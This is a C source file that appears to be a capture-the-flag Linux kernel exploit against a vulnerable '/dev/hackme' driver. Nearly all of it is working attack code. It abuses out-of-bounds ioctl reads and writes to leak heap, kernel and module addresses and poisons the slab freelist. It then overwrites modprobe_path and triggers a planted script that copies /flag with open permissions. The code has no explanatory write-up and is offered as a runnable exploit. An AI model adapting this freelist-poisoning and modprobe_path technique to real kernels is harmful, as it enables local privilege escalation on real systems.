// gcc exp.c -o exp -masm=intel -static
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

struct user_arg {
	size_t index;
	char *user_ptr;
	size_t size;
	size_t off;
};


void add(size_t fd, size_t index,char *user_ptr,size_t size)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	ioctl(fd,0x30000,&user_arg);
}

void delete(size_t fd, size_t index)
{
	struct user_arg user_arg;
	user_arg.index = index;
	ioctl(fd,0x30001,&user_arg);
}
void write_to_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30002,&user_arg);
}
void read_from_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30003,&user_arg);
}


int main()
{
	char *buf = malloc(0x1000);
	memcpy(buf,"FMYY",4);
	memset(buf + 4,0,0x1000);
	size_t fd = open("/dev/hackme",O_RDONLY);
	size_t heap_address, kernel_base, mod_address;
	add(fd,0,buf,0x100);
	add(fd,1,buf,0x100);
	add(fd,2,buf,0x100);
	add(fd,3,buf,0x100);
	add(fd,4,buf,0x100);
	delete(fd,1);
	delete(fd,3);
	read_from_kernel(fd,4,buf,0x100,-0x100);
	heap_address = *(size_t*)buf;
	printf("HEAP:\t%p\n",heap_address);
	
	read_from_kernel(fd,0,buf,0x200,-0x200);
	kernel_base = *(size_t*)(buf + 0x28);
	if ((kernel_base & 0xFFF) != 0xAE0)	exit(-1);
	kernel_base -= 0x849AE0; // sub sysctl_table_root offset
	printf("Kernel:\t%p\n",kernel_base);
	
	size_t p = kernel_base + 0x811000 + 0x40; // add 0x40 to avoid the junk data to cover the hackme load address
	memcpy(buf,&p,8);
	write_to_kernel(fd,4,buf,0x100,-0x100);
	
	add(fd,5,buf,0x100); // old chunk 3
	add(fd,6,buf,0x100);
	
	read_from_kernel(fd,6,buf,0x40,-0x40);
	mod_address = *(size_t*)(buf + 0x18);
	printf("Mod:\t%p\n",mod_address);
	
	delete(fd,5);
	
	size_t pool = mod_address + 0x2400 + 0x100; // select a suitable address to save the evil address
												// here I choose pool+0x100 to save them;
	memcpy(buf,&pool,8);
	write_to_kernel(fd,4,buf,0x100,-0x100);
	
	add(fd,7,buf,0x100);
	add(fd,8,buf,0x100);
	
	*(size_t*)(buf + 8) = 0x100;
	*(size_t*)(buf + 0) = kernel_base + 0x83F960; // it is the offset of modprobe_path in vmlinux
	
	write_to_kernel(fd,8,buf,0x10,0);
	////////// okay! above all i have understand
	strncpy(buf,"/home/pwn/copy.sh\0",18);
	
	write_to_kernel(fd,0x10,buf,18,0);
	/*
		#!/bin/sh
		/bin/cp /flag /home/pwn/flag
		/bin/chmod 777 /home/pwn/flag
	*/
	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
	system("chmod +x /home/pwn/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
	system("chmod +x /home/pwn/dummy");

	system("/home/pwn/dummy");
	system("cat flag");
	close(fd);
	return 0;

}




